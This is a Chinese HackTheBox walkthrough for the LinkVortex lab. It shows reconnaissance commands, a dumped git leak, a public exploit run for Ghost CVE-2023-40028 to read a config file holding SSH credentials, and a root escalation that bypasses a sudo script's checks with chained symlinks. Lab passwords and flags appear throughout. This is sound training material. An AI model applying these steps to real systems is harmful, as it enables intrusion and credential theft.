当前位置: 首页 > article >正文

HTB:LinkVortex[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用gobuster对靶机进行路径FUZZ

使用ffuf堆靶机进行子域名FUZZ

边界突破

访问靶机/robots.txt文件

使用wappalyzer查看该页面技术栈

检索该CMS的CVE漏洞

使用gobuster对靶机dev子域名进行路径FUZZ

使用githack讲泄露文件转储至本地

检索该文件内容

尝试构造账户登录WebAPP

在Github中随便找一个PoC

执行该脚本尝试读取靶机内部文件

使用ssh通过上述凭证登录靶机

权限提升

查看可sudo执行的文件

查看/opt/ghost/clean_symlink.sh文件内容


连接至HTB服务器并启动靶机

分配IP:10.10.16.22

靶机IP:10.10.11.47

靶机Domain:linkvortex.htb


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a linkvortex.htb -r 1-65535 --ulimit 5000 | tee res

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -p22,80 -sCV -Pn linkvortex.htb

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -p22,80 --script=vuln -O -Pn linkvortex.htb

使用nmap对靶机常用UDP端口进行开放扫描

nmap -sU --top-ports 20 -Pn linkvortex.htb

使用gobuster对靶机进行路径FUZZ

gobuster dir -u http://linkvortex.htb -w ../dictionary/Entire-Dir.txt -t 100 -x txt,php,asp,aspx,jsp --exclude-length 0

使用ffuf堆靶机进行子域名FUZZ

ffuf -u 'http://linkvortex.htb' -H 'Host: FUZZ.linkvortex.htb' -w ../dictionary/subdomains-top20000.txt  -t 50 -fw 14


边界突破

访问靶机/robots.txt文件

  • 可见/ghost路径不允许爬取,尝试访问该路径

使用wappalyzer查看该页面技术栈

  • 由展示可见,该页面使用WebAPP为:Ghost CMS 5.58

检索该CMS的CVE漏洞

  • 原介绍

Ghost is an open source content management system. Versions prior to 5.59.1 are subject to a vulnerability which allows authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system. Site administrators can check for exploitation of this issue by looking for unknown symlinks within Ghost's `content/` folder. Version 5.59.1 contains a fix for this issue. All users are advised to upgrade. There are no known workarounds for this vulnerability.

  • 机翻后

Ghost是一个开源的内容管理系统。5.59.1之前的版本存在一个漏洞,允许经过身份验证的用户上传符号链接文件。攻击者可利用此漏洞读取主机操作系统上的任意文件。网站管理员可以通过检查 Ghost 的 `content/` 文件夹中是否存在未知的符号链接来检测是否遭受此漏洞的攻击。5.59.1版本已修复此问题。建议所有用户进行升级。目前尚无已知的临时解决方案来应对此漏洞。

  • 因此,CVE-2023-40028漏洞适用于获取WebAPP凭证后读取靶机内部文件

使用gobuster对靶机dev子域名进行路径FUZZ

  • 由输出可见,该子域名存在git泄露
使用githack讲泄露文件转储至本地
python githack.py http://dev.linkvortex.htb/.git/
  • /dev.linkvortex.htb路径下找到Dockerfile.ghost文件
cat Dockerfile.ghost
  • 由输出可见,config配置文件被拷贝到/var/lib/ghost/config.production.json

  • /dev.linkvortex.htb/ghost/core/test/regression/api/admin路径下找到authentication.test.js文件
检索该文件内容
grep -C1 -i password authentication.test.js

  • 可见测试账号疑似默认密码:OctopiFociPilfer45

尝试构造账户登录WebAPP

账户:admin@linkvortex.htb

密码:OctopiFociPilfer45

  • 成功登入后台,验证了该凭证可用

在Github中随便找一个PoC

git clone https://github.com/0xyassine/CVE-2023-40028.git

  • 该脚本需要对GHOST_URL参数进行修改

执行该脚本尝试读取靶机内部文件
./CVE-2023-40028.sh -u 'admin@linkvortex.htb' -p 'OctopiFociPilfer45'

  • 尝试读取/var/lib/ghost/config.production.json文件
file> /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}
  • 由该配置文件可得一凭证 

账户:bob@linkvortex.htb

密码:fibber-talented-worth

使用ssh通过上述凭证登录靶机

ssh bob@linkvortex.htb

  • /home/bob目录下找到user.txt文件

bob@linkvortex:~$ ls
1.png  111.txt  user.txt  whatever
bob@linkvortex:~$ pwd
/home/bob
bob@linkvortex:~$ cat user.txt
e1e7c05b37455f93a36670923855ab32


权限提升

查看可sudo执行的文件

sudo -l

查看/opt/ghost/clean_symlink.sh文件内容
cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi
  • 用大模型直接一键加上注释

  1. 该脚本将检查环境变量CHECK_CONTENT是否为空,如为空为其赋值false
  2. 该脚本仅能接收.png结尾的文件
  3. 该脚本将检查该参数是否为软链接
  4. 该脚本将检查软链接内容是否存在`etc`、`root`关键字如有将把该软链接文件隔离
  5. 该脚本将检查CHECK_CONTENT的值是否为true,如为真则输出文件内容

因此我的绕过思路是:

1.构造一个.png软链接连接至一个不带`etc`、`root`关键字的软链接

2.再将该软链接再次连接至/root/root.txt文件

3.将环境变量CHECK_CONTENT改为true,绕过第一次判断并在最后使脚本输出文件内容

  • 首先创建一个软链接连接至/root/root.txt文件
ln -s /root/root.txt final_read
  • 再创建一个以.png结尾的软链接连接至上一个软链接
ln -s final_read start_point.png
  • 这里注意所有软链接以及文件必须用绝对路径

bob@linkvortex:~$ ln -s /root/root.txt /home/bob/final_read
bob@linkvortex:~$ ln -s /home/bob/final_read /home/bob/start_point.png
bob@linkvortex:~$ ls
final_read  start_point.png  user.txt
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh start_point.png
Link found [ start_point.png ] , moving it to quarantine
Content:
62bce49de7c405a3273a8f67bdca50d6


http://www.kler.cn/a/528858.html

相关文章:

  • Cubemx文件系统挂载多设备
  • hexo部署到github page时,hexo d后page里面绑定的个人域名消失的问题
  • vim的特殊模式-可视化模式
  • 【SSM】Spring + SpringMVC + Mybatis
  • WebForms DataList 深入解析
  • RK3568使用QT搭建TCP服务器和客户端
  • STM32 AD多通道
  • 一文讲解Java中的ArrayList和LinkedList
  • 【Convex Optimization Stanford】Lec4 CVX-opt-promblem
  • os开发基础知识(1)
  • 计算机视觉:解锁智能时代的钥匙与实战案例
  • .Net WebAPI -[HttpPut(“{fileServiceId:int}“)]
  • 【数据结构】_时间复杂度相关OJ(力扣版)
  • 使用Visual Studio打包Python项目
  • 北京门头沟区房屋轮廓shp的arcgis数据建筑物轮廓无偏移坐标测评
  • 【机器学习】自定义数据集 使用scikit-learn中svm的包实现svm分类
  • RK3568使用QT操作LED灯
  • 2025年1月22日(网络编程 udp)
  • 动手学强化学习(四)——蒙特卡洛方法
  • vue之pinia组件的使用
  • AtCoder Beginner Contest 391(ABCDE)
  • Alibaba开发规范_编程规约之命名风格
  • 22.Word:小张-经费联审核结算单❗【16】
  • C_C++输入输出(下)
  • gesp(C++六级)(9)洛谷:P10721:[GESP202406 六级] 计算得分
  • UE学习日志#18 C++笔记#4 基础复习4 指派初始化器和指针